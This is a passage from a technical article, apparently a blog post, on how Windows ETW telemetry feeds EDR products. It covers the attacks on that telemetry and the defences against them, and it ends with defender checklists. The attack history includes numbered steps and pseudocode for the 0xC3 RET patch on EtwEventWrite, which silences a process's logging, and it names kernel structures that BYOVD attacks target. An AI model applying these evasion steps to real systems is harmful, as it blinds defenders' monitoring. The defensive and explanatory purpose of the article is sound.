&lt;td&gt;[@ms-protect-am]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrowdStrike Falcon&lt;/td&gt;
&lt;td&gt;Driver callbacks + ETW&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Yes ([@trailofbits-shafir] live evidence)&lt;/td&gt;
&lt;td&gt;[@trailofbits-shafir]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SentinelOne&lt;/td&gt;
&lt;td&gt;Driver callbacks + ETW&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Widely reported&lt;/td&gt;
&lt;td&gt;-- (vendor docs; SentinelAgent.exe not in [@trailofbits-shafir] sample)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sysmon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysmonDrv.sys&lt;/code&gt; callbacks; publishes via own ETW provider&lt;/td&gt;
&lt;td&gt;Protected (not Antimalware)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;[@ms-sysmon]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wazuh&lt;/td&gt;
&lt;td&gt;ETW only (SilkETW-class)&lt;/td&gt;
&lt;td&gt;Standard SYSTEM&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Elastic Defend&lt;/td&gt;
&lt;td&gt;Own kernel driver + ETW&lt;/td&gt;
&lt;td&gt;Standard SYSTEM&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;[@elastic-doubling-down]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sysmon is worth singling out as the canonical &lt;em&gt;callback-then-publish&lt;/em&gt; reference architecture. Its kernel driver registers &lt;code&gt;PsSetCreate*NotifyRoutine&lt;/code&gt; callbacks; its user-mode service consumes the events the driver delivers; and the service then publishes them via its own &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; ETW provider for any downstream consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) to read. The result is that Sysmon&apos;s events are universally consumable -- which is why Wazuh and Splunk both ship Sysmon configurations as their default kernel-event source.&lt;/p&gt;

Sysmon&apos;s design choice is the reference architecture for the callback-then-publish pattern, even though Sysmon is not itself an Antimalware-PPL EDR. By publishing through its own ETW provider rather than writing to a private channel, Sysmon makes its events consumable by any downstream pipeline. Wazuh and the Splunk Universal Forwarder can both ingest Sysmon events without any custom integration work. This is why Sysmon, despite being free, is the de facto kernel-event source for the open-source SIEM world.

flowchart LR
    K[Kernel callbacks&lt;br /&gt;synchronous, can deny] --- L1[Sysmon driver]
    K --- L2[CrowdStrike driver]
    K --- L3[SentinelOne driver]
    K --- L4[Elastic driver]
    K --- L5[Defender WdFilter.sys]
    M[ETW providers&lt;br /&gt;asynchronous, observe-only&lt;br /&gt;up to 8 consumers per provider] --- M1[Defender MsMpEng]
    M --- M2[CrowdStrike service]
    M --- M3[SentinelOne service]
    M --- M4[Sysmon service]
    M --- M5[Wazuh ETW reader]
    M --- M6[Elastic Defend service]
    K -.latency-vs-coupling axis.-&amp;gt; M
&lt;p&gt;The CrowdStrike July 2024 channel-file outage was a kernel-driver brittleness story, not an ETW story. The Falcon kernel driver&apos;s content-update parser dereferenced an out-of-bounds pointer when processing a channel file whose Rapid Response Content template had 21 input fields while the sensor&apos;s Content Interpreter expected only 20, triggering an out-of-bounds array read, BSOD-ing roughly 8.5 million Windows hosts [@ms-crowdstrike-2024][@crowdstrike-rca-2024]. That story belongs to the App Identity in Windows article [@paragmali-com-app-ide] in this series; it is mentioned here only to mark that the cost of the synchronous-kernel-driver path is a higher blast radius when the driver itself is buggy.&lt;/p&gt;
&lt;p&gt;A note on Defender&apos;s cloud schema. The events that surface in Microsoft Defender for Endpoint&apos;s hunting tables -- &lt;code&gt;DeviceProcessEvents&lt;/code&gt;, &lt;code&gt;DeviceFileEvents&lt;/code&gt;, &lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, &lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;, &lt;code&gt;DeviceRegistryEvents&lt;/code&gt; -- are the cloud-side abstraction over the kernel and ETW telemetry the Defender sensor collects locally. The full schema mapping from ETW provider to cloud column is out of scope here, but the substrate is the same.&lt;/p&gt;
&lt;p&gt;Six vendors, three axes, one substrate. Now we walk the attack tradition that the substrate has to survive.&lt;/p&gt;
&lt;h2&gt;11. The attack tradition: five generations of trying to blind ETW&lt;/h2&gt;
&lt;p&gt;Every generation of ETW has been attacked. Some attacks broke a single provider; some broke every user-mode provider on a host; one would, if it worked at scale, break Defender. The defense story is on the same five-generation timeline.&lt;/p&gt;
&lt;h3&gt;Gen 1 (2014-2018): autologger registry tampering&lt;/h3&gt;
&lt;p&gt;The dispositive taxonomy is Matt Graeber and Lee Christensen&apos;s December 24, 2018 Palantir CIRT post [@palantir-tampering-wayback] [@palantir-tampering-wayback], preserved in the Wayback Machine because the direct Medium URL has since returned HTTP 403 to non-browser fetchers. The opening framing is verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Event Tracing for Windows (ETW) is the mechanism Windows uses to trace and log system events. Attackers often clear event logs to cover their tracks. Though the act of clearing an event log itself generates an event, attackers who know ETW well may take advantage of tampering opportunities to cease the flow of logging temporarily or even permanently, without generating any event log entries in the process.&quot; -- [@palantir-tampering-wayback]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Graeber and Christensen split the technique into two classes. &lt;em&gt;Persistent tampering&lt;/em&gt; writes to the autologger registry path described in section 6, disabling a session before it ever starts at next boot; the events of interest are never captured because the session is never running. &lt;em&gt;Ephemeral tampering&lt;/em&gt; targets a live session: stopping the session via &lt;code&gt;ControlTrace&lt;/code&gt;, removing a provider from a session via &lt;code&gt;EnableTraceEx2(EVENT_CONTROL_CODE_DISABLE_PROVIDER, ...)&lt;/code&gt;, or directly clearing the session&apos;s buffers.&lt;/p&gt;
&lt;p&gt;The defense is direct: monitor the autologger registry surface. Sysmon Event ID 13 [@ms-sysmon] surfaces registry value-set events in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt;; a SOC playbook that alerts on any unexpected write to that subtree catches the persistent class of attack reliably. Matt Graeber&apos;s authorship is cross-confirmed by the palantir/exploitguard repository [@gh-palantir-exploitguard] [@gh-palantir-exploitguard], which credits him as the lead researcher on the ETW work.&lt;/p&gt;
&lt;h3&gt;Gen 2 (2020): user-mode &lt;code&gt;EtwEventWrite&lt;/code&gt; 0xC3 RET patch&lt;/h3&gt;
&lt;p&gt;The technique that made ETW patching a household tradecraft term is Adam Chester&apos;s &quot;Hiding your .NET - ETW&quot;, March 17, 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The mechanic is one byte:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Locate &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; (or in modern variants &lt;code&gt;ntdll!NtTraceEvent&lt;/code&gt;) in the calling process&apos;s memory.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;VirtualProtect&lt;/code&gt; to make the page writable.&lt;/li&gt;
&lt;li&gt;Write the byte &lt;code&gt;0xC3&lt;/code&gt; over the function&apos;s first byte.&lt;/li&gt;
&lt;li&gt;Restore the page protection.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;0xC3&lt;/code&gt; is the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret]: &quot;C3 RET ZO Valid Valid Near return to calling procedure.&quot; Any caller into the function falls straight back to its return address before producing a single event. The calling process now silently fails to emit any user-mode ETW events for any provider that funnels through the patched stub -- including &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The technique has been re-implemented in every language that can call &lt;code&gt;VirtualProtect&lt;/code&gt;. The fluxsec.red Rust port [@fluxsec-etw-patching] [@fluxsec-etw-patching] explains the modern variant verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;When a ETW Provider sends a notification, it will eventually reach into ntdll.dll for the function NtTraceEvent... we can simply patch the function address to return straight from byte 0. The opcode for a ret is C3, so we can swap out the opcode 4C with C3 to immediately return out of the stub.&quot; -- [@fluxsec-etw-patching]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here is the structure of the patch in TypeScript pseudocode -- not actually runnable Win32, but mirroring exactly what a Windows binary would do:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: silence user-mode ETW for the calling process.
// This silences only the calling process and only user-mode providers
// that funnel through the patched stub.&lt;/p&gt;
&lt;p&gt;// 1. Resolve the address of ntdll!EtwEventWrite in this process.
const ntdll = getModuleHandle(&quot;ntdll.dll&quot;);
const fn = getProcAddress(ntdll, &quot;EtwEventWrite&quot;);&lt;/p&gt;
&lt;p&gt;// 2. Make the function&apos;s first page writable.
const PAGE_EXECUTE_READWRITE = 0x40;
let oldProtect = 0;
virtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, /* out */ ref(oldProtect));&lt;/p&gt;
&lt;p&gt;// 3. Write 0xC3 (RET) over the first byte. Caller now returns immediately.
writeByte(fn, 0xC3);&lt;/p&gt;
&lt;p&gt;// 4. Restore original page protection.
virtualProtect(fn, 1, oldProtect, /* out */ ref(oldProtect));&lt;/p&gt;
&lt;p&gt;// Limits:
// - Silences only this process.
// - Silences only providers whose emit path funnels through this stub.
// - Cannot silence kernel-emitted providers like Microsoft-Windows-Threat-Intelligence.
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The patch operates on the calling process&apos;s user-mode trampoline. Other processes on the host are unaffected; their ETW emissions continue normally. Kernel-emitted providers like &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; are unaffected even in the patched process; they fire from the kernel side of the syscall path, after control has crossed the user/kernel boundary, on a code path the user-mode patcher cannot reach without first achieving kernel execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Gen 3 (2021-2023): kernel-mode primitives&lt;/h3&gt;
&lt;p&gt;If a user-mode patch cannot reach EtwTi, can a kernel-mode patch? Yes -- but the attacker first needs kernel execution. The most common path is BYOVD [@paragmali-com-in-windows]: load a signed but vulnerable driver and use its primitive to read or write kernel memory. Once you can write kernel memory you can target ETW&apos;s internal data structures directly.&lt;/p&gt;
&lt;p&gt;Binarly&apos;s Black Hat Europe 2021 talk [@binarly-edr] [@binarly-edr] documents the surface verbatim:&lt;/p&gt;

Many ways to disable ETW logging are publicly available from passing a TRUE boolean parameter into a `nt!EtwpStopTrace` function to finding an ETW specific structure and dynamically modifying it or patching `ntdll!ETWEventWrite` or `advapi32!EventWrite` to return immediately thus stopping the user-mode loggers. -- [@binarly-edr]
&lt;p&gt;The kernel-side primitives Binarly enumerates target the &lt;code&gt;_ETW_GUID_ENTRY&lt;/code&gt; structure for a provider, the &lt;code&gt;EtwpRegistration&lt;/code&gt; linked list of registered providers, and the &lt;code&gt;EtwpEventTracingProhibited&lt;/code&gt; flag the kernel checks before emitting events. Yarden Shafir&apos;s 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir] provides the contemporary kernel-side data structure walk through &lt;code&gt;_ETW_REALTIME_CONSUMER&lt;/code&gt; and &lt;code&gt;_ETW_SILODRIVERSTATE&lt;/code&gt;, and notes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Most recently, the Lazarus Group bypassed EDR detection by disabling ETW providers&quot; -- [@trailofbits-shafir]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The architectural-level treatment is well-documented; the specific kernel offsets that change between Windows builds are a moving target. We treat the technique class as well-established and the per-build offset details as out of scope.&lt;/p&gt;
&lt;h3&gt;Defense Gen 1 (2017): Antimalware-PPL + ELAM gate on EtwTi&lt;/h3&gt;
&lt;p&gt;Section 9 covered this in detail. The point to record here, in the attack-tradition timeline, is that the Antimalware-PPL gate predates the Adam Chester 2020 user-mode patch by three years. Microsoft did not respond to Chester&apos;s post; they had already put the load-bearing security signal structurally out of reach of any user-mode patch in the calling process. The user-mode patch class is generic against &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; and the rest of the user-mode catalogue; it is structurally impotent against &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Defense Gen 2 (2022): Vulnerable Driver Blocklist on by default&lt;/h3&gt;
&lt;p&gt;The kernel-mode primitive class needs a kernel write. Without a vulnerability in the EDR&apos;s kernel driver, the realistic path is BYOVD: load a third-party signed driver that exposes a memory-write primitive. The structural defense is Microsoft&apos;s Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb]:&lt;/p&gt;

Since the Windows 11 2022 update, the vulnerable driver blocklist is enabled by default for all devices, and can be turned on or off via the Windows Security app... the vulnerable driver blocklist is also enforced when either memory integrity, also known as hypervisor-protected code integrity (HVCI), Smart App Control, or S mode is active... The blocklist is updated quarterly. In addition, blocklist updates are delivered through the monthly Windows updates as part of the standard servicing process. -- [@ms-vdb]
&lt;p&gt;The blocklist enumerates known-vulnerable signed drivers by hash; the kernel refuses to load anything on the list. On a Windows 11 22H2-or-later host with the default settings, the BYOVD primitive against most known-vulnerable drivers is closed. With HVCI on, the closure is enforced even against attackers who would otherwise try to load drivers via legacy paths. The empirical bound is the LOLDrivers project&apos;s catalogue of known-vulnerable drivers; the blocklist tracks public discovery with a lag of approximately one quarter, which is the residual window an attacker can exploit before a freshly disclosed driver is added.&lt;/p&gt;

The attack pattern of loading a known-vulnerable but signed driver to obtain a kernel-mode primitive (memory read, memory write, or arbitrary code execution). Used in real-world EDR-blinding attacks, including by the Lazarus Group as cited in Trail of Bits&apos; 2023 ETW walk [@trailofbits-shafir].

The Microsoft-maintained blocklist of known-vulnerable signed drivers, by hash. Enabled by default on Windows 11 22H2 and later. Enforced more strictly when HVCI, Smart App Control, or S mode is active. Updated quarterly per the Microsoft Learn primary [@ms-vdb].
&lt;p&gt;The LOLDrivers project [@loldrivers] [@loldrivers] is the empirical anchor for the BYOVD lag story. It catalogues known-vulnerable signed drivers as a community resource; the Microsoft blocklist updates quarterly, but blocklist updates are also delivered through monthly Windows servicing, so a freshly-disclosed driver can live in an exploitation window of as short as ~1 month (via Patch Tuesday) or up to a full quarter before its hash is added.&lt;/p&gt;

flowchart LR
    subgraph Attacks
        A1[&quot;Gen 1 2014-2018: Autologger registry tampering -- Palantir CIRT taxonomy&quot;]
        A2[&quot;Gen 2 2020: EtwEventWrite 0xC3 RET -- Adam Chester&quot;]
        A3[&quot;Gen 3 2021-2023: Kernel _ETW_GUID_ENTRY -- EtwpRegistration EtwpStopTrace via BYOVD&quot;]
    end
    subgraph Defenses
        D1[&quot;Sysmon Event ID 13 -- monitor Autologger subtree&quot;]
        D2[&quot;Antimalware-PPL plus ELAM -- gate on EtwTi 2017&quot;]
        D3[&quot;Vulnerable Driver Blocklist -- default-on Win11 22H2 plus HVCI&quot;]
    end
    A1 --&amp;gt; D1
    A2 --&amp;gt; D2
    A3 --&amp;gt; D3
&lt;h3&gt;The 2026 picture&lt;/h3&gt;
&lt;p&gt;User-mode patching cannot reach the kernel-mode provider that EDR cares about. The BYOVD primitive that could reach it is structurally narrowed by default on supported hardware. The remaining gap is the long tail of newly-disclosed vulnerable drivers between disclosure and blocklist update, plus any custom kernel zero-day an attacker discovers in an EDR&apos;s own driver. Both are real, both are exploited in the wild, neither is the universally-applicable evasion the 2020-era user-mode patch class was.&lt;/p&gt;
&lt;p&gt;That is the operational story. But ETW has structural limits even when no attacker is patching anything.&lt;/p&gt;
&lt;h2&gt;12. Theoretical limits: what ETW cannot see, even with every defence engaged&lt;/h2&gt;
&lt;p&gt;Even on a perfectly-configured Windows 11 box -- HVCI [@paragmali-com-in-windows] on, Vulnerable Driver Blocklist on, Antimalware-PPL Defender consuming EtwTi, third-party EDR ELAM-onboarded -- there are events ETW does not emit. Some are observed too late. Some are not observed at all.&lt;/p&gt;
&lt;p&gt;There are three structural ceilings.&lt;/p&gt;
&lt;h3&gt;Pre-ETW kernel paths&lt;/h3&gt;
&lt;p&gt;The Global Logger session is one of the earliest things to come up at boot, but it is not the first. Some early-init driver paths run before any ETW session exists; they cannot be traced via ETW. Measured Boot is the discipline that records this prefix into TPM PCRs, with attestation handled by the platform integrity layer rather than by ETW. The implication for EDR is that any malicious code executing during early boot, before the Global Logger session is up, is invisible to ETW.&lt;/p&gt;
&lt;h3&gt;Incomplete EtwTi syscall coverage&lt;/h3&gt;
&lt;p&gt;The 10 &lt;code&gt;KERNEL_THREATINT_TASK_*&lt;/code&gt; task IDs are the public surface. The underlying syscall set the kernel actually instruments is not exhaustively documented. The fluxsec.red inventory [@fluxsec-eti] [@fluxsec-eti] is the public surface, not the private one. Some syscalls are clearly covered (&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; for cross-process allocation surfaces as &lt;code&gt;KERNEL_THREATINT_TASK_ALLOCVM&lt;/code&gt;); some have partial coverage (&lt;code&gt;MAPVIEW_LOCAL&lt;/code&gt; and &lt;code&gt;MAPVIEW_REMOTE&lt;/code&gt; keywords cover some but not all of the section-mapping primitive set across &lt;code&gt;NtCreateSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSectionEx&lt;/code&gt;, image-section vs file-section variants); some are not enumerated at all in the public manifest. Process-hollowing primitives that combine &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; and &lt;code&gt;NtMapViewOfSection&lt;/code&gt; may be partially covered depending on which path the attacker takes.&lt;/p&gt;
&lt;h3&gt;The async-flush gap&lt;/h3&gt;
&lt;p&gt;ETW&apos;s per-CPU ring buffer is asynchronous. If a process allocates RWX memory, writes shellcode, executes it, and returns within one writer-thread flush interval, the event is &lt;em&gt;recorded&lt;/em&gt; but the attacker&apos;s payload has &lt;em&gt;already executed&lt;/em&gt;. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. The Microsoft Learn primary on About Event Tracing [@ms-about-etw] [@ms-about-etw] is explicit that events can be lost:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Events can be lost if any of the following conditions occur ... The total event size is greater than 64K ... The disk is too slow to keep up with the rate at which events are being generated. ... For real-time logging, the real-time consumer is not consuming events fast enough.&quot; -- [@ms-about-etw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No ETW-only EDR can prevent a syscall whose payload completes inside one writer flush. EDRs that ship a kernel driver and register synchronous callbacks (CrowdStrike, SentinelOne, Sysmon, Elastic Defend) can deny operations through the &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetprocnotify] [@ms-pssetprocnotify] &lt;code&gt;CreationStatus&lt;/code&gt; field; ETW-only EDRs cannot. ETW is observation, not enforcement.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ETW is observation, not enforcement. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. Sub-microsecond payloads execute before the writer thread flushes; the layered defense stack of 2026 is an empirical bar, not a theoretical guarantee.&lt;/p&gt;
&lt;/blockquote&gt;

The VBS-backed code-integrity enforcement for kernel-mode code on Windows. With HVCI enabled, the hypervisor enforces that only signed kernel pages can execute. Closes the attack class that loads unsigned drivers; combined with the Vulnerable Driver Blocklist it closes most of the realistic BYOVD primitive surface as well.
&lt;p&gt;The &quot;events can be lost&quot; enumeration in [@ms-about-etw] is the dispositive Microsoft acknowledgement of ETW&apos;s lossy substrate. SOC playbooks should treat ETW telemetry as best-effort, not as a guaranteed audit trail. Forensic claims that depend on completeness need an independent corroborating source.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A detection-only EDR can alert on a malicious operation, but only after the operation has happened. By the time the SOC sees the alert, the syscall has completed, the shellcode has executed, the credentials have been stolen. This is why the kernel-callback path (with its ability to deny via &lt;code&gt;CreationStatus&lt;/code&gt;) coexists with ETW even though ETW is more flexible: a SOC playbook needs both the speed of denial and the breadth of observation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 2026 layered stack -- Antimalware-PPL + EtwTi + HVCI + VBL -- raises the empirical bar enormously. It does not close the architectural gap. Sub-microsecond payloads still execute before the writer thread flushes. The BYOVD primitive on a non-HVCI box still defeats the kernel-callback layer. There are still problems the substrate cannot solve in principle.&lt;/p&gt;
&lt;p&gt;Those are the limits we can describe. The next section is about the limits we cannot yet measure.&lt;/p&gt;
&lt;h2&gt;13. Open problems: keyword drift, secure kernel ETW, and the BYOVD arms race&lt;/h2&gt;
&lt;p&gt;The 2026 state of the art has five active open problems. Each has a partial workaround; none has a complete solution.&lt;/p&gt;
&lt;h3&gt;1. EtwTi keyword inventory drift across builds&lt;/h3&gt;
&lt;p&gt;Microsoft has not published a complete, current &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; keyword inventory. The community-maintained references -- the jdu2600 cross-build inventory [@gh-jdu2600] [@gh-jdu2600] and the repnz manifest archive [@gh-repnz] [@gh-repnz] -- are partial coverage and lag Microsoft&apos;s quarterly servicing cadence. EDR vendors that hard-code keyword bitmasks against an old build can silently miss events on newer builds because the keyword definitions have shifted underneath them. Detection engineers writing rules against &lt;code&gt;KERNEL_THREATINT_TASK_*&lt;/code&gt; IDs that move between builds can get false negatives.&lt;/p&gt;

There are three plausible reasons, and Microsoft has not stated which (or which combination) is operative. *Operational secrecy*: a complete keyword inventory tells attackers exactly which syscall paths are observed and which are not, narrowing the search for evasion paths. *Documentation cost*: the inventory shifts every build, and maintaining a synchronised public reference is engineering work without an obvious internal champion. *Deliberate moving target*: keeping the public surface incomplete forces attackers to reverse-engineer per build, raising the cost of stable evasion. The community references partially defeat all three rationales; the absence remains.
&lt;h3&gt;2. Secure ETW (the &lt;code&gt;EtwSi*&lt;/code&gt; family)&lt;/h3&gt;
&lt;p&gt;Windows VBS Trustlets run in the Secure Kernel (VTL1), insulated from the normal-world kernel (VTL0) by the hypervisor. The Secure Kernel exposes its own ETW family for VTL1 components; this is enumerated in fragments in Alex Ionescu&apos;s BlackHat 2015 deck on the Secure Kernel and in subsequent BlueHatIL talks. There is no public consumer-facing primary on &lt;code&gt;EtwSi*&lt;/code&gt; in 2026. Cross-link: this article&apos;s companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] covers the producer side of the story.&lt;/p&gt;
&lt;h3&gt;3. Forensic soundness of ETW telemetry&lt;/h3&gt;
&lt;p&gt;ETW is lossy by design (per the [@ms-about-etw] enumeration). Whether ETW-derived telemetry is &lt;em&gt;forensically sound&lt;/em&gt; -- chain-of-custody complete, lossless under load, attestable as untampered between event emission and SIEM ingestion -- is an open question. Courts have not ruled. The current best partial result is to treat ETW as supporting evidence and require independent corroboration (file-system snapshots, network captures, OS state captures) for any claim that depends on completeness. Sysmon&apos;s Event ID 16 (Sysmon configuration changed) [@ms-sysmon] and the autologger registry write events on &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; are useful integrity signals: an attacker who silenced ETW typically leaves a footprint here.&lt;/p&gt;
&lt;h3&gt;4. The BYOVD arms race&lt;/h3&gt;
&lt;p&gt;The Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb] is hash-based and updated quarterly. The LOLDrivers project [@loldrivers] [@loldrivers] documents the public catalogue of known-vulnerable signed drivers. The gap between disclosure and blocklist update--as short as ~1 month via Patch Tuesday or up to a full quarter--is the residual exploitation window. The deeper structural issue is that the blocklist is hash-based; an attacker who finds a new vulnerability in a previously-trusted signed driver enjoys a fresh window every quarter. Closing this gap requires either a different trust model (allow-listing of known-good drivers, as Smart App Control does for executables) or behavioural detection of suspicious driver loads. Both are active areas of work.&lt;/p&gt;
&lt;h3&gt;5. Cross-process section-mapping coverage&lt;/h3&gt;
&lt;p&gt;EtwTi&apos;s &lt;code&gt;KERNEL_THREATINT_TASK_MAPVIEW&lt;/code&gt; covers some but not all section-mapping primitives. The public fluxsec.red [@fluxsec-eti] inventory lists &lt;code&gt;MAPVIEW_LOCAL&lt;/code&gt; and &lt;code&gt;MAPVIEW_REMOTE&lt;/code&gt; keywords, but the underlying syscall set (&lt;code&gt;NtMapViewOfSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSectionEx&lt;/code&gt;, &lt;code&gt;NtCreateSection&lt;/code&gt;, image-section vs file-section variants) is not exhaustively documented. Detection engineers who depend on full coverage of cross-process section mapping are working from an incomplete map.&lt;/p&gt;
&lt;h3&gt;What would a v2 ETW look like?&lt;/h3&gt;
&lt;p&gt;A theoretical ideal: synchronous kernel-emitted events on every security-relevant syscall, with the consumer running in VTL1 (Secure Kernel) so even a kernel-mode attacker in VTL0 cannot tamper with the consumer. The &lt;code&gt;EtwSi*&lt;/code&gt; family is the partial realisation. The full ideal is incompatible with x64 syscall performance: synchronous notification on every syscall would dominate the cost of the syscall itself. The pragmatic answer Microsoft has been building toward is &lt;em&gt;selective&lt;/em&gt; synchronous notification (the kernel notify routines for high-value control points) layered with &lt;em&gt;broad&lt;/em&gt; asynchronous observation (ETW for everything else), with the most security-critical of the broad observations promoted to PPL/ELAM-gated kernel-emitted producers (EtwTi). Two decades of layering, no single architectural endpoint.For the producer side of the Secure Kernel ETW story (&lt;code&gt;EtwSi*&lt;/code&gt;), see this article&apos;s companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] in the same series. The Trustlet-side architecture is a separate topic large enough to need its own walkthrough.&lt;/p&gt;
&lt;p&gt;Open problems are interesting but they are not actionable. The next section is about what an engineer can do on Monday morning.&lt;/p&gt;
&lt;h2&gt;14. Practical guide: five things to do Monday morning&lt;/h2&gt;
&lt;p&gt;You have read 12,000 words about ETW. Here are five concrete checks an engineer can run on a Windows host this morning.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;logman query providers&lt;/code&gt; enumerates every registered provider on the host. Cross-reference the output against the section 8 catalogue and flag any security-relevant provider your EDR is not consuming. Pay specific attention to &lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;, and &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; if Sysmon is installed. Missing coverage of any of these on a host you are responsible for is a detection-coverage gap, not a configuration issue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run &lt;code&gt;wevtutil gp Microsoft-Windows-Threat-Intelligence&lt;/code&gt; to confirm the provider is registered and inspect its keyword definitions. Then check whether your EDR is actually a consumer: walk the live-debugger handle enumeration in Yarden Shafir&apos;s Trail of Bits post [@trailofbits-shafir] [@trailofbits-shafir] (the WinDbg JS scripts are linked from the post). If your EDR is supposed to be ELAM-onboarded but does not appear in the consumer enumeration for an EtwTi logger session, your installation may have lost the gate. This is the difference between a configured EDR and a functional EDR.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Enumerate &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; for unauthorised session entries. Per the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback], this is the persistent-tampering surface. A baseline audit should produce a known list of expected sessions (Defender, your EDR, Sysmon if installed, the standard Windows diagnostic listeners). Any subkey not on the baseline list is an investigation candidate. Sysmon Event ID 13 (registry value set) [@ms-sysmon] on this subtree is a high-signal alert in any SIEM.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run &lt;code&gt;Get-CimInstance Win32_DeviceGuard | Select-Object SecurityServicesConfigured, SecurityServicesRunning, VirtualizationBasedSecurityStatus&lt;/code&gt; to expose whether HVCI and the Vulnerable Driver Blocklist are active. Per the Microsoft Learn primary [@ms-vdb] [@ms-vdb], the BYOVD ceiling is your kernel-tampering integrity guarantee. If VBS is &lt;code&gt;Off&lt;/code&gt; on a managed endpoint, your detection coverage is structurally weaker than it should be on supported hardware. Treat it as a hardening item, not a nice-to-have.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Write a hunting query for the pattern: &quot;process X registers as ETW consumer for &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; and X is not on the EDR allow-list.&quot; The provider&apos;s PPL+ELAM gate makes this a high-signal alert: only a signed Antimalware-PPL service can pass the gate, so an unexpected process holding an &lt;code&gt;EtwConsumer&lt;/code&gt; handle to the TI logger ID is either a misconfigured tool, a legitimate research session you forgot about, or an attacker chain that has acquired Antimalware-PPL trust on your fleet. The first two are quick to triage; the third is an incident.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The structure of the check in pseudocode -- mirroring the WinDbg JS approach in [@trailofbits-shafir]:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: inventory providers and identify EtwTi consumers.&lt;/p&gt;
